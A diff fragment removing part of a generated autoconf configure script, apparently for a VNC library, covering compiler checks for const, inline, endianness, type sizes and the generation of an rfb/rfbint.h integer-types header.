- static struct point const zero = {0,0};
- /* AIX XL C 1.02.0.0 rejects this.
- It does not let you subtract one const X* pointer from another in
- an arm of an if-expression whose if-part is not a constant
- expression */
- const char *g = "string";
- pcpcc = &g + (g ? g-g : 0);
- /* HPUX 7.0 cc rejects these. */
- ++pcpcc;
- ppc = (char**) pcpcc;
- pcpcc = (char const *const *) ppc;
- { /* SCO 3.2v4 cc rejects this sort of thing. */
- char tx;
- char *t = &tx;
- char const *s = 0 ? (char *) 0 : (char const *) 0;
-
- *t++ = 0;
- if (s) return 0;
- }
- { /* Someone thinks the Sun supposedly-ANSI compiler will reject this. */
- int x[] = {25, 17};
- const int *foo = &x[0];
- ++foo;
- }
- { /* Sun SC1.0 ANSI compiler rejects this -- but not the above. */
- typedef const int *iptr;
- iptr p = 0;
- ++p;
- }
- { /* AIX XL C 1.02.0.0 rejects this sort of thing, saying
- "k.c", line 2.27: 1506-025 (S) Operand must be a modifiable lvalue. */
- struct s { int j; const int *ap[3]; } bx;
- struct s *b = &bx; b->j = 5;
- }
- { /* ULTRIX-32 V3.1 (Rev 9) vcc rejects this */
- const int foo = 10;
- if (!foo) return 0;
- }
- return !cs[0] && !zero.x;
-#endif
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_c_const=yes
-else
- ac_cv_c_const=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_const" >&5
-$as_echo "$ac_cv_c_const" >&6; }
-if test $ac_cv_c_const = no; then
-
-$as_echo "#define const /**/" >>confdefs.h
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for inline" >&5
-$as_echo_n "checking for inline... " >&6; }
-if ${ac_cv_c_inline+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_cv_c_inline=no
-for ac_kw in inline __inline__ __inline; do
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#ifndef __cplusplus
-typedef int foo_t;
-static $ac_kw foo_t static_foo () {return 0; }
-$ac_kw foo_t foo () {return 0; }
-#endif
-
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_c_inline=$ac_kw
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- test "$ac_cv_c_inline" != no && break
-done
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_inline" >&5
-$as_echo "$ac_cv_c_inline" >&6; }
-
-case $ac_cv_c_inline in
- inline | yes) ;;
- *)
- case $ac_cv_c_inline in
- no) ac_val=;;
- *) ac_val=$ac_cv_c_inline;;
- esac
- cat >>confdefs.h <<_ACEOF
-#ifndef __cplusplus
-#define inline $ac_val
-#endif
-_ACEOF
- ;;
-esac
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether byte ordering is bigendian" >&5
-$as_echo_n "checking whether byte ordering is bigendian... " >&6; }
-if ${ac_cv_c_bigendian+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_cv_c_bigendian=unknown
- # See if we're dealing with a universal compiler.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#ifndef __APPLE_CC__
- not a universal capable compiler
- #endif
- typedef int dummy;
-
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
-
- # Check for potential -arch flags. It is not universal unless
- # there are at least two -arch flags with different values.
- ac_arch=
- ac_prev=
- for ac_word in $CC $CFLAGS $CPPFLAGS $LDFLAGS; do
- if test -n "$ac_prev"; then
- case $ac_word in
- i?86 | x86_64 | ppc | ppc64)
- if test -z "$ac_arch" || test "$ac_arch" = "$ac_word"; then
- ac_arch=$ac_word
- else
- ac_cv_c_bigendian=universal
- break
- fi
- ;;
- esac
- ac_prev=
- elif test "x$ac_word" = "x-arch"; then
- ac_prev=arch
- fi
- done
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test $ac_cv_c_bigendian = unknown; then
- # See if sys/param.h defines the BYTE_ORDER macro.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
- #include <sys/param.h>
-
-int
-main ()
-{
-#if ! (defined BYTE_ORDER && defined BIG_ENDIAN \
- && defined LITTLE_ENDIAN && BYTE_ORDER && BIG_ENDIAN \
- && LITTLE_ENDIAN)
- bogus endian macros
- #endif
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- # It does; now see whether it defined to BIG_ENDIAN or not.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
- #include <sys/param.h>
-
-int
-main ()
-{
-#if BYTE_ORDER != BIG_ENDIAN
- not big endian
- #endif
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_c_bigendian=yes
-else
- ac_cv_c_bigendian=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- fi
- if test $ac_cv_c_bigendian = unknown; then
- # See if <limits.h> defines _LITTLE_ENDIAN or _BIG_ENDIAN (e.g., Solaris).
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <limits.h>
-
-int
-main ()
-{
-#if ! (defined _LITTLE_ENDIAN || defined _BIG_ENDIAN)
- bogus endian macros
- #endif
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- # It does; now see whether it defined to _BIG_ENDIAN or not.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <limits.h>
-
-int
-main ()
-{
-#ifndef _BIG_ENDIAN
- not big endian
- #endif
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_c_bigendian=yes
-else
- ac_cv_c_bigendian=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- fi
- if test $ac_cv_c_bigendian = unknown; then
- # Compile a test program.
- if test "$cross_compiling" = yes; then :
- # Try to guess by grepping values from an object file.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-short int ascii_mm[] =
- { 0x4249, 0x4765, 0x6E44, 0x6961, 0x6E53, 0x7953, 0 };
- short int ascii_ii[] =
- { 0x694C, 0x5454, 0x656C, 0x6E45, 0x6944, 0x6E61, 0 };
- int use_ascii (int i) {
- return ascii_mm[i] + ascii_ii[i];
- }
- short int ebcdic_ii[] =
- { 0x89D3, 0xE3E3, 0x8593, 0x95C5, 0x89C4, 0x9581, 0 };
- short int ebcdic_mm[] =
- { 0xC2C9, 0xC785, 0x95C4, 0x8981, 0x95E2, 0xA8E2, 0 };
- int use_ebcdic (int i) {
- return ebcdic_mm[i] + ebcdic_ii[i];
- }
- extern int foo;
-
-int
-main ()
-{
-return use_ascii (foo) == use_ebcdic (foo);
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- if grep BIGenDianSyS conftest.$ac_objext >/dev/null; then
- ac_cv_c_bigendian=yes
- fi
- if grep LiTTleEnDian conftest.$ac_objext >/dev/null ; then
- if test "$ac_cv_c_bigendian" = unknown; then
- ac_cv_c_bigendian=no
- else
- # finding both strings is unlikely to happen, but who knows?
- ac_cv_c_bigendian=unknown
- fi
- fi
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$ac_includes_default
-int
-main ()
-{
-
- /* Are we little or big endian? From Harbison&Steele. */
- union
- {
- long int l;
- char c[sizeof (long int)];
- } u;
- u.l = 1;
- return u.c[sizeof (long int) - 1] == 1;
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_c_bigendian=no
-else
- ac_cv_c_bigendian=yes
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
- fi
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_bigendian" >&5
-$as_echo "$ac_cv_c_bigendian" >&6; }
- case $ac_cv_c_bigendian in #(
- yes)
- $as_echo "#define WORDS_BIGENDIAN 1" >>confdefs.h
-;; #(
- no)
- ;; #(
- universal)
-
-$as_echo "#define AC_APPLE_UNIVERSAL_BUILD 1" >>confdefs.h
-
- ;; #(
- *)
- as_fn_error $? "unknown endianness
- presetting ac_cv_c_bigendian=no (or yes) will help" "$LINENO" 5 ;;
- esac
-
-ac_fn_c_check_type "$LINENO" "size_t" "ac_cv_type_size_t" "$ac_includes_default"
-if test "x$ac_cv_type_size_t" = xyes; then :
-
-else
-
-cat >>confdefs.h <<_ACEOF
-#define size_t unsigned int
-_ACEOF
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether time.h and sys/time.h may both be included" >&5
-$as_echo_n "checking whether time.h and sys/time.h may both be included... " >&6; }
-if ${ac_cv_header_time+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
-#include <sys/time.h>
-#include <time.h>
-
-int
-main ()
-{
-if ((struct tm *) 0)
-return 0;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_header_time=yes
-else
- ac_cv_header_time=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_time" >&5
-$as_echo "$ac_cv_header_time" >&6; }
-if test $ac_cv_header_time = yes; then
-
-$as_echo "#define TIME_WITH_SYS_TIME 1" >>confdefs.h
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sys/wait.h that is POSIX.1 compatible" >&5
-$as_echo_n "checking for sys/wait.h that is POSIX.1 compatible... " >&6; }
-if ${ac_cv_header_sys_wait_h+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
-#include <sys/wait.h>
-#ifndef WEXITSTATUS
-# define WEXITSTATUS(stat_val) ((unsigned int) (stat_val) >> 8)
-#endif
-#ifndef WIFEXITED
-# define WIFEXITED(stat_val) (((stat_val) & 255) == 0)
-#endif
-
-int
-main ()
-{
- int s;
- wait (&s);
- s = WIFEXITED (s) ? WEXITSTATUS (s) : 1;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_header_sys_wait_h=yes
-else
- ac_cv_header_sys_wait_h=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_sys_wait_h" >&5
-$as_echo "$ac_cv_header_sys_wait_h" >&6; }
-if test $ac_cv_header_sys_wait_h = yes; then
-
-$as_echo "#define HAVE_SYS_WAIT_H 1" >>confdefs.h
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for socklen_t" >&5
-$as_echo_n "checking for socklen_t... " >&6; }
-if ${ac_cv_type_socklen_t+:} false; then :
- $as_echo_n "(cached) " >&6
-else
-
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
- #include <sys/socket.h>
-int
-main ()
-{
-socklen_t len = 42; return 0;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_type_socklen_t=yes
-else
- ac_cv_type_socklen_t=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_type_socklen_t" >&5
-$as_echo "$ac_cv_type_socklen_t" >&6; }
- if test $ac_cv_type_socklen_t != yes; then
- $as_echo "#define socklen_t int" >>confdefs.h
-
- fi
-
-if test ! -d ./rfb; then
- echo "creating subdir ./rfb for rfbint.h"
- mkdir ./rfb
-fi
-# ------ AC CREATE STDINT H -------------------------------------
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for stdint-types...." >&5
-$as_echo_n "checking for stdint-types....... " >&6; }
-ac_stdint_h=`echo rfb/rfbint.h`
-if test "$ac_stdint_h" = "stdint.h" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: \"(are you sure you want them in ./stdint.h?)\"" >&5
-$as_echo "\"(are you sure you want them in ./stdint.h?)\"" >&6; }
-elif test "$ac_stdint_h" = "inttypes.h" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: \"(are you sure you want them in ./inttypes.h?)\"" >&5
-$as_echo "\"(are you sure you want them in ./inttypes.h?)\"" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: \"(putting them into $ac_stdint_h)\"" >&5
-$as_echo "\"(putting them into $ac_stdint_h)\"" >&6; }
-fi
-
-inttype_headers=`echo inttypes.h sys/inttypes.h sys/inttypes.h \
-| sed -e 's/,/ /g'`
-
- ac_cv_header_stdint_x="no-file"
- ac_cv_header_stdint_o="no-file"
- ac_cv_header_stdint_u="no-file"
- for i in stdint.h $inttype_headers ; do
- unset ac_cv_type_uintptr_t
- unset ac_cv_type_uint64_t
- ac_fn_c_check_type "$LINENO" "uintptr_t" "ac_cv_type_uintptr_t" "#include <$i>
-"
-if test "x$ac_cv_type_uintptr_t" = xyes; then :
- ac_cv_header_stdint_x=$i
-else
- continue
-fi
-
- ac_fn_c_check_type "$LINENO" "uint64_t" "ac_cv_type_uint64_t" "#include<$i>
-"
-if test "x$ac_cv_type_uint64_t" = xyes; then :
- and64="(uint64_t too)"
-else
- and64=""
-fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen our uintptr_t in $i $and64" >&5
-$as_echo "... seen our uintptr_t in $i $and64" >&6; }
- break;
- done
- if test "$ac_cv_header_stdint_x" = "no-file" ; then
- for i in stdint.h $inttype_headers ; do
- unset ac_cv_type_uint32_t
- unset ac_cv_type_uint64_t
- ac_fn_c_check_type "$LINENO" "uint32_t" "ac_cv_type_uint32_t" "#include <$i>
-"
-if test "x$ac_cv_type_uint32_t" = xyes; then :
- ac_cv_header_stdint_o=$i
-else
- continue
-fi
-
- ac_fn_c_check_type "$LINENO" "uint64_t" "ac_cv_type_uint64_t" "#include<$i>
-"
-if test "x$ac_cv_type_uint64_t" = xyes; then :
- and64="(uint64_t too)"
-else
- and64=""
-fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen our uint32_t in $i $and64" >&5
-$as_echo "... seen our uint32_t in $i $and64" >&6; }
- break;
- done
- if test "$ac_cv_header_stdint_o" = "no-file" ; then
- for i in sys/types.h $inttype_headers ; do
- unset ac_cv_type_u_int32_t
- unset ac_cv_type_u_int64_t
- ac_fn_c_check_type "$LINENO" "u_int32_t" "ac_cv_type_u_int32_t" "#include <$i>
-"
-if test "x$ac_cv_type_u_int32_t" = xyes; then :
- ac_cv_header_stdint_u=$i
-else
- continue
-fi
-
- ac_fn_c_check_type "$LINENO" "uint64_t" "ac_cv_type_uint64_t" "#include<$i>
-"
-if test "x$ac_cv_type_uint64_t" = xyes; then :
- and64="(u_int64_t too)"
-else
- and64=""
-fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen our u_int32_t in $i $and64" >&5
-$as_echo "... seen our u_int32_t in $i $and64" >&6; }
- break;
- done
- fi
- fi
-
-# ----------------- DONE inttypes.h checks MAYBE C basic types --------
-
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking size of char" >&5
-$as_echo_n "checking size of char... " >&6; }
-if ${ac_cv_sizeof_char+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- for ac_size in 4 8 1 2 16 ; do # List sizes in rough order of prevalence.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include "confdefs.h"
-#include <sys/types.h>
-
-
-int
-main ()
-{
-switch (0) case 0: case (sizeof (char) == $ac_size):;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_sizeof_char=$ac_size
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test x$ac_cv_sizeof_char != x ; then break; fi
-done
-
-fi
-
-if test x$ac_cv_sizeof_char = x ; then
- as_fn_error $? "cannot determine a size for char" "$LINENO" 5
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_char" >&5
-$as_echo "$ac_cv_sizeof_char" >&6; }
-
-cat >>confdefs.h <<_ACEOF
-#define SIZEOF_CHAR $ac_cv_sizeof_char
-_ACEOF
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking size of short" >&5
-$as_echo_n "checking size of short... " >&6; }
-if ${ac_cv_sizeof_short+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- for ac_size in 4 8 1 2 16 ; do # List sizes in rough order of prevalence.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include "confdefs.h"
-#include <sys/types.h>
-
-
-int
-main ()
-{
-switch (0) case 0: case (sizeof (short) == $ac_size):;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_sizeof_short=$ac_size
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test x$ac_cv_sizeof_short != x ; then break; fi
-done
-
-fi
-
-if test x$ac_cv_sizeof_short = x ; then
- as_fn_error $? "cannot determine a size for short" "$LINENO" 5
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_short" >&5
-$as_echo "$ac_cv_sizeof_short" >&6; }
-
-cat >>confdefs.h <<_ACEOF
-#define SIZEOF_SHORT $ac_cv_sizeof_short
-_ACEOF
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking size of int" >&5
-$as_echo_n "checking size of int... " >&6; }
-if ${ac_cv_sizeof_int+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- for ac_size in 4 8 1 2 16 ; do # List sizes in rough order of prevalence.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include "confdefs.h"
-#include <sys/types.h>
-
-
-int
-main ()
-{
-switch (0) case 0: case (sizeof (int) == $ac_size):;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_sizeof_int=$ac_size
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test x$ac_cv_sizeof_int != x ; then break; fi
-done
-
-fi
-
-if test x$ac_cv_sizeof_int = x ; then
- as_fn_error $? "cannot determine a size for int" "$LINENO" 5
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_int" >&5
-$as_echo "$ac_cv_sizeof_int" >&6; }
-
-cat >>confdefs.h <<_ACEOF
-#define SIZEOF_INT $ac_cv_sizeof_int
-_ACEOF
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking size of long" >&5
-$as_echo_n "checking size of long... " >&6; }
-if ${ac_cv_sizeof_long+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- for ac_size in 4 8 1 2 16 ; do # List sizes in rough order of prevalence.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include "confdefs.h"
-#include <sys/types.h>
-
-
-int
-main ()
-{
-switch (0) case 0: case (sizeof (long) == $ac_size):;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_sizeof_long=$ac_size
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test x$ac_cv_sizeof_long != x ; then break; fi
-done
-
-fi
-
-if test x$ac_cv_sizeof_long = x ; then
- as_fn_error $? "cannot determine a size for long" "$LINENO" 5
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_long" >&5
-$as_echo "$ac_cv_sizeof_long" >&6; }
-
-cat >>confdefs.h <<_ACEOF
-#define SIZEOF_LONG $ac_cv_sizeof_long
-_ACEOF
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking size of void*" >&5
-$as_echo_n "checking size of void*... " >&6; }
-if ${ac_cv_sizeof_voidp+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- for ac_size in 4 8 1 2 16 ; do # List sizes in rough order of prevalence.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include "confdefs.h"
-#include <sys/types.h>
-
-
-int
-main ()
-{
-switch (0) case 0: case (sizeof (void*) == $ac_size):;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_sizeof_voidp=$ac_size
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test x$ac_cv_sizeof_voidp != x ; then break; fi
-done
-
-fi
-
-if test x$ac_cv_sizeof_voidp = x ; then
- as_fn_error $? "cannot determine a size for void*" "$LINENO" 5
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_voidp" >&5
-$as_echo "$ac_cv_sizeof_voidp" >&6; }
-
-cat >>confdefs.h <<_ACEOF
-#define SIZEOF_VOIDP $ac_cv_sizeof_voidp
-_ACEOF
-
-
- ac_cv_header_stdint_test="yes"
-else
- ac_cv_header_stdint_test="no"
-fi
-
-# ----------------- DONE inttypes.h checks START header -------------
-_ac_stdint_h=`$as_echo "_$ac_stdint_h" | $as_tr_cpp`
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: creating $ac_stdint_h : $_ac_stdint_h" >&5
-$as_echo "creating $ac_stdint_h : $_ac_stdint_h" >&6; }
-echo "#ifndef" $_ac_stdint_h >$ac_stdint_h
-echo "#define" $_ac_stdint_h "1" >>$ac_stdint_h
-echo "#ifndef" _GENERATED_STDINT_H >>$ac_stdint_h
-echo "#define" _GENERATED_STDINT_H '"'$PACKAGE $VERSION'"' >>$ac_stdint_h
-if test "$GCC" = "yes" ; then
- echo "/* generated using a gnu compiler version" `$CC --version` "*/" \
- >>$ac_stdint_h
-else
- echo "/* generated using $CC */" >>$ac_stdint_h
-fi
-echo "" >>$ac_stdint_h
-
-if test "$ac_cv_header_stdint_x" != "no-file" ; then
- ac_cv_header_stdint="$ac_cv_header_stdint_x"
-elif test "$ac_cv_header_stdint_o" != "no-file" ; then
- ac_cv_header_stdint="$ac_cv_header_stdint_o"
-elif test "$ac_cv_header_stdint_u" != "no-file" ; then
- ac_cv_header_stdint="$ac_cv_header_stdint_u"
-else
- ac_cv_header_stdint="stddef.h"
-fi
-
-# ----------------- See if int_least and int_fast types are present
-unset ac_cv_type_int_least32_t
-unset ac_cv_type_int_fast32_t
-ac_fn_c_check_type "$LINENO" "int_least32_t" "ac_cv_type_int_least32_t" "#include <$ac_cv_header_stdint>
-"
-if test "x$ac_cv_type_int_least32_t" = xyes; then :
-
-fi
-
-ac_fn_c_check_type "$LINENO" "int_fast32_t" "ac_cv_type_int_fast32_t" "#include<$ac_cv_header_stdint>
-"
-if test "x$ac_cv_type_int_fast32_t" = xyes; then :
-
-fi
-
-
-if test "$ac_cv_header_stdint" != "stddef.h" ; then
-if test "$ac_cv_header_stdint" != "stdint.h" ; then
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding include stddef.h" >&5
-$as_echo "..adding include stddef.h" >&6; }
- echo "#include <stddef.h>" >>$ac_stdint_h
-fi ; fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding include $ac_cv_header_stdint" >&5
-$as_echo "..adding include $ac_cv_header_stdint" >&6; }
- echo "#include <$ac_cv_header_stdint>" >>$ac_stdint_h
-echo "" >>$ac_stdint_h
-
-# ----------------- DONE header START basic int types -------------
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... need to look at C basic types" >&5
-$as_echo "... need to look at C basic types" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen good stdint.h inttypes" >&5
-$as_echo "... seen good stdint.h inttypes" >&6; }
-fi
-
-if test "$ac_cv_header_stdint_u" != "no-file" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen bsd/sysv typedefs" >&5
-$as_echo "... seen bsd/sysv typedefs" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* int8_t int16_t int32_t defined by inet code, redeclare the u_intXX types */
-typedef u_int8_t uint8_t;
-typedef u_int16_t uint16_t;
-typedef u_int32_t uint32_t;
-EOF
- cat >>$ac_stdint_h <<EOF
-
-/* glibc compatibility */
-#ifndef __int8_t_defined
-#define __int8_t_defined
-#endif
-EOF
-fi
-
-ac_cv_sizeof_x="$ac_cv_sizeof_char:$ac_cv_sizeof_short"
-ac_cv_sizeof_X="$ac_cv_sizeof_x:$ac_cv_sizeof_int"
-ac_cv_sizeof_X="$ac_cv_sizeof_X:$ac_cv_sizeof_voidp:$ac_cv_sizeof_long"
-if test "$ac_cv_header_stdint" = "stddef.h" ; then
-# we must guess all the basic types. Apart from byte-adressable system,
-# there a few 32-bit-only dsp-systems. nibble-addressable systems are way off.
- cat >>$ac_stdint_h <<EOF
-/* ------------ BITSPECIFIC INTTYPES SECTION --------------- */
-EOF
- t="typedefs for a"
- case "$ac_cv_sizeof_X" in
- 1:2:2:2:4) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t normal 16-bit system" >&5
-$as_echo "..adding $t normal 16-bit system" >&6; }
- cat >>$ac_stdint_h <<EOF
-/* a normal 16-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned long uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef long int32_t;
-#endif
-EOF
-;;
- 1:2:2:4:4) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t 32-bit system derived from a 16-bit" >&5
-$as_echo "..adding $t 32-bit system derived from a 16-bit" >&6; }
- cat >>$ac_stdint_h <<EOF
-/* a 32-bit system derived from a 16-bit */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:4:4) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t normal 32-bit system" >&5
-$as_echo "..adding $t normal 32-bit system" >&6; }
- cat >>$ac_stdint_h <<EOF
-/* a normal 32-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:4:8) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t 32-bit system prepared for 64-bit" >&5
-$as_echo "..adding $t 32-bit system prepared for 64-bit" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* a 32-bit system prepared for 64-bit */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:8:8) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t normal 64-bit system" >&5
-$as_echo "..adding $t normal 64-bit system" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* a normal 64-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:8:4) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t 64-bit system derived from a 32-bit" >&5
-$as_echo "..adding $t 64-bit system derived from a 32-bit" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* a 64-bit system derived from a 32-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- *)
- as_fn_error $? " $ac_cv_sizeof_X what is that a system? contact the author, quick! http://ac-archive.sf.net" "$LINENO" 5
- exit 1
-;;
- esac
-fi
-
-# ------------- DONE basic int types START int64_t types ------------
-if test "$ac_cv_type_uint64_t" = "yes"
-then { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen good uint64_t" >&5
-$as_echo "... seen good uint64_t" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* system headers have good uint64_t */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-#endif
-EOF
-
-elif test "$ac_cv_type_u_int64_t" = "yes"
-then { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding typedef u_int64_t uint64_t" >&5
-$as_echo "..adding typedef u_int64_t uint64_t" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* system headers have an u_int64_t */
